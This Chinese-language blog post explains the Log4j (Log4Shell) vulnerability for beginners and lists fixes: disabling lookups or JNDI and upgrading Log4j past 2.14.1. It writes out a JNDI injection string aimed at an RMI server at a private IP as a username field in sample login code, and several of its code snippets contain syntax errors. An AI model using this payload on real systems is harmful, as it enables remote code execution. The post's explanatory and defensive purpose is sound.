log4j漏洞的产生原因和解决方案,小白都能看懂!!!!
核弹级bug Log4j,相信很多人都有所耳闻了,这两天很多读者都在问我关于这个bug的原理等一些问题,今天咱们就专门写一篇文章,一起聊一聊这个核弹级别的bug的产生原理以及怎么防止
产生原因
其实这个主要的原因,和日志有关,日志是应用软件中不可缺少的部分,Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。
最简单的日志打印
我们看如下场景:
这个场景大家应该很熟悉了,就是用户登录,咱们今天不用关心登录是怎么实现的,只用关心用户名name字段就可以了,代码如下
public void login(string name){
String name = "test"; //表单接收name字段
logger.info("{},登录了", name); //logger为log4j
}
很简单,用户如果登陆了,我们通过表单接收到相关name字段,然后在日志中记录上这么一条记录。
这个看起来是很常规的操作了,记录日志为什么会导致bug呢?不要着急,我们接下来往下看。
lookup支持打印系统变量
name变量是用户输入的,用户输入什么都可以,上面的例子是字符串test,那么用户可以输入别的内容么?
public void login(string name){
String name = "{$java:os}"; //用户输入的name内容为 {$java:os}
logger.info("{},登录了", name); //logger为log4j
}
如果用户在用户名输入框输入{$java:os},那么日志中记录的会是系统相关的信息,上述代码会输出
Windows 7 6.1 Service Pack 1, architecture: amd64-64,登录了
为什么会产生这种奇怪的现象呢?
是因为log4j提供了一个lookup的功能,对lookup功能不熟悉的同学也没有关系,你知道有这么个方法,可以把一些系统变量放到日志中就可以了,如下图

比较敏锐的同学可能已经开始察觉到了,现在越来越像sql注入了。
JNDI介绍
很多同学可能对JNDI不是很了解,不过没关系,我用最通俗的话来解释
其实就是你自己做一个服务,比如是
jndi:rmi:192.168.9.23:1099/remote
如果被攻击的服务器,比如某台线上的服务器,访问了或者执行了,你自己的JNDI服务,「那么线上的服务器就会来执行JNDI服务中的remote方法的代码」。如果不是很清楚,没关系,下面有张图

大家还记得我们今天的主角log4j么?
如果用户直接在用户名输入框输入JNDI的服务地址

public void login(string name){
String name = "${jndi:rmi:192.168.9.23:1099/remote}"; //用户输入的name内容为 jndi相关信息
logger.info("{},登录了", name);
}
那么只要是你用log4j来打印这么一条日志,那么log4j就会去执行 jndi:rmi:192.168.9.23:1099/remote 服务,那么在黑客的电脑上就可以对线上服务做任何操作了,
大家想象一下,一个不是你公司的人,却可以在你们公司线上服务器做任何操作,这该是多么的可怕。
解决方式
其实如果你了解了这个原理那么解决方式也就一目了然了,
禁用lookup或JNDI服务
罪魁祸首就是lookup和JNDI,那么直接修改配置文件log4j2.formatMsgNoLookups=True或禁用JNDI服务,不过一般产生问题的服务都是线上已经在跑的服务,禁用的时候要注意评估一下是否允许。
升级Apache Log4j
这次产生的影响范围主要是在Apache Log4j 2.x <= 2.14.1
,所以直接把Log4j升级即可解决。
log4j漏洞的产生原因和解决方案,小白都能看懂!!!!的更多相关文章
- 搭建分布式事务组件 seata 的Server 端和Client 端详解(小白都能看懂)
一,server 端的存储模式为:Server 端 存 储 模 式 (store-mode) 支 持 三 种 : file: ( 默 认 ) 单 机 模 式 , 全 局 事 务 会 话 信 息 内 存 ...
- Spring Cloud Alibaba分布式事务组件 seata 详解(小白都能看懂)
一,什么是事务(本地事务)? 指作为单个逻辑工作单元执行的一系列操作,要么完全地执行,要么完全地不执行. 简单的说,事务就是并发控制的单位,是用户定义的一个操作序列. 而一个逻辑工作单元要成 ...
- Unity 打包发布Android新手教学 (小白都能看懂的教学 ) [转]
版权声明:本文为Aries原创文章,转载请标明出处.如有不足之处欢迎提出意见或建议,联系QQ531193915 扫码关注微信公众号,获取最新资源 最近在Unity的有些交流群里,发现好多Unity开发 ...
- 小白都能看懂的Linux系统下安装配置Zabbix
实验环境: 操作系统:Centos 7.6 服务器ip:192.168.10.100 运行用户:root 网络环境:Internet Zabbix是一个基于web界面的提供分布式系统监控及网络功能的企 ...
- gitbook 入门教程之小白都能看懂的 Gitbook 插件开发全流程
什么是插件 Gitbook 插件是扩展 GitBook 功能(电子书和网站)的最佳方式. 只要是 Gitbook 默认没有提供的功能,基于插件机制都可以自行扩展,是插件让 Gitbook 变得更加强大 ...
- 小白都能看懂的vue中各种通信传值方式,附带详细代码
1.路由通信传值 路由通信是通过路由跳转用query把参数带过去,也是vue常用的通信手段. 例子: 创建并在路由注册一个组件Head <template> <div id=&quo ...
- 小白都能看懂的Spring源码揭秘之IOC容器源码分析
目录 前言 IOC 只是一个 Map 集合 IOC 三大核心接口 IOC 初始化三大步骤 定位 加载 注册 总结 前言 在 Spring 框架中,大家耳熟能详的无非就是 IOC,DI,Spring M ...
- 小白都能看懂的 Spring 源码揭秘之依赖注入(DI)源码分析
目录 前言 依赖注入的入口方法 依赖注入流程分析 AbstractBeanFactory#getBean AbstractBeanFactory#doGetBean AbstractAutowireC ...
- 小白都能看懂的tcp三次握手
众所周知,TCP在建立连接时需要经过三次握手.许多初学者经常对这个过程感到混乱:SYN是干什么的,怎么一会儿是1一会儿是0?怎么既有大写的ACK又有小写的ack?为什么ACK在第二次握手才开始出现?初 ...
随机推荐
- 导出 doc
... /** * 导出word * @return * @throws Exception */ @JCall public String word() throws Exception{ Stri ...
- [bzoj1052]覆盖问题
先二分答案,容易发现一定有一个正方形覆盖在角上(即有两条边在最X的地方),否则4个最X的点一定无法覆盖,然后暴力确定即可 1 #include<bits/stdc++.h> 2 using ...
- [bzoj1677]求和
dp,用f[i]表示i划分的方案,直接枚举最后一个数是错误的,因为会导致c重复计数,然后正解十分神奇--当i为奇数,那么分解中一定有1,因此f[i]=f[i-1]当i为偶数若有1,同样转移到f[i-1 ...
- 基于echarts 24种数据可视化展示,填充数据就可用,动手能力强的还可以DIY(演示地址+下载地址)
前言 我们先跟随百度百科了解一下什么是"数据可视化 [1]". 数据可视化,是关于数据视觉表现形式的科学技术研究. 其中,这种数据的视觉表现形式被定义为,一种以某种概要形式抽提出来 ...
- WebRTC从摄像头获取图片传入canvas
WebRTC从摄像头获取图片传入canvas 前面我们已经能够利用WebRTC的功能,通过浏览器打开摄像头,并把预览的图像显示在video元素中. 接下来我们尝试从视频中截取某一帧,显示在界面上. h ...
- 【JavaSE】Java基础·疑难点汇集
Java基础·疑难点 2019-08-03 19:51:39 by冲冲 1. 部分Java关键字 instanceof:用来测试一个对象是否是指定类型的实例. native:用来声明一个方法是由与 ...
- elasticsearch学习(1)
下载解压,elasticsearch.bat启动 elasticsearch目录: bin 启动文件config 配置文件 log4j2 日志配置文件 jvm.options java虚拟机相关的配置 ...
- 『学了就忘』Linux文件系统管理 — 60、Linux中配置自动挂载
目录 1.自动挂载 2.如何查询系统下每个分区的UUID 3.配置自动挂载 4./etc/fstab文件修复 上一篇文章我们说明了手动分区讲解,对一块新硬盘进行了手动分区和挂载. 但是我们发现重启系统 ...
- NOIp2021 原地退役记
JS-0013 Day -2 - 2021.11.17 打了场 cmd_blk 出的模拟赛,T2 T3 都是做过的原题(AGC010C & ARC092D),于是直接摆烂交暴力垫底,成功为我的 ...
- CF1553 部分题解
CF1553D Backspace 题目传送门. 题意简述:给定 \(s,t\),现在要依次输入 \(s\) 中的字符.对于每个字符 \(s_i\),你可以选择输入 \(s_i\) 或者使用退格键,判 ...